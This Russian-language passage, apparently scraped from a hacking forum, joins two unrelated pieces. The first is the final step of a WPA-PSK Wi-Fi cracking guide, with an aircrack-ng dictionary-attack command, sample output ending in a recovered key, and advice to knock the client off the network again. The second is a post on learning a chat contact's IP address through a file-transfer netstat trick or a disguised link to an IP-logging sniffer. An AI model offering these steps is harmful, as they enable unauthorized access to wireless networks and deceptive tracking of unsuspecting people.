Деаутентификационный пакет шлется напрямую с вашего компьютера на компьютер клиента, поэтому убедитесь, что вы находитесь достаточно близко к последнему.

Шаг 4: запускаем aircrack-ng и ломаем PSK ключ.

Цель данного шага – попытаться взломать PSK ключ путем подбора по словарю. Небольшой словарик идет в комплекте с aircrack-ng (password.lst), более объемные словари можно легко найти в сети или сгенерировать самостоятельно при помощи известной программы John the Ripper.

Открываем новую консоль и запускаем:

# aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

-w password.lst назначает имя файла со словарем
psk*.cap назначает имя файла с перехваченными пакетами. Маска “*” используется, поскольку файл может быть не один.

В случае, если аутентификационные пакеты не найдены, вывод будет примерно следующим:

Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Read 1827 packets.
No valid WPA handshakes found.
Если это произошло, попробуйте повторить третий шаг и заново выбить беспроводного клиента из сети, чтобы он повторил процедуру установления соединения. Если вы использовали пассивный метод сбора пакетов, ждите дальше, пока не появится клиент, устанавливающий соединение. Вывод в случае нахождения подходящих пакетов будет таким:

Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.

# BSSID ESSID Encryption

1 00:14:6C:7E:40:80 teddy WPA (1 handshake)

Choosing first network as target.

С этого момента aircrack-ng может начать взлом PSK ключа. В зависимости от скорости вашего процессора и размера словаря, этот процесс может занять часы или дни. Успешный взлом ключа выглядит так:

Aircrack-ng 0.8

[00:00:00] 2 keys tested (37.20 k/s)

KEY FOUND! [ 12345678 ]

Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E

B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD

Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98

CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40

FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E

2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71

EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB

Недавно один мой знакомый тоже заинтересовался: а какой ай-пи у моего асечного визави?

И тут выяснилось, что единственный надежный способ:
- уговорить своего незнакомца принять от тебя файл по асе
- зпустить CMD
- дать в нем netstat -an
- запустить передачу файла
- после того как передача началась, дать опять в CMD команду netstat -an
- поиграть в детскую игру "найди 10 отличий" и найти -таки новую строчку во втором листинге. В колонке "внешний адрес" (третья) и будет искомый айпишник.
Правда, все усилия могут пойти насмарку, если визави использует анонимизатор (тунеллирование) или провайдер всех выпускает через собственный прокси, не выдавая юзерам публичных адресов. В этом случае мы узнаем лишь адрес публичной прокси....

Другой способ - это подсунуть под видом ссылки якобы на какой-то прикол/фото/еще что-то, ссылку на сниффер и посмотреть его лог (например, [Ссылки могут видеть только зарегистрированные пользователи. ] или [Ссылки могут видеть только зарегистрированные пользователи. ] и посмотреть адрес [Ссылки могут видеть только зарегистрированные пользователи. ])
Засада с проксями остается....

Кроме этого, с некоторыми клиентами иногда помогает просмотр в самой миранде или утилитами [Ссылки могут видеть только зарегистрированные пользователи. ], [Ссылки могут видеть только зарегистрированные пользователи. ] и uin2ip (в нете в основном трояны, которые либо косят, либо встроены в эту прогу).

Ну и не забывайте, что знание IP-адреса не всегда может помочь в определении местоположения вашего собеседника......

Удачи!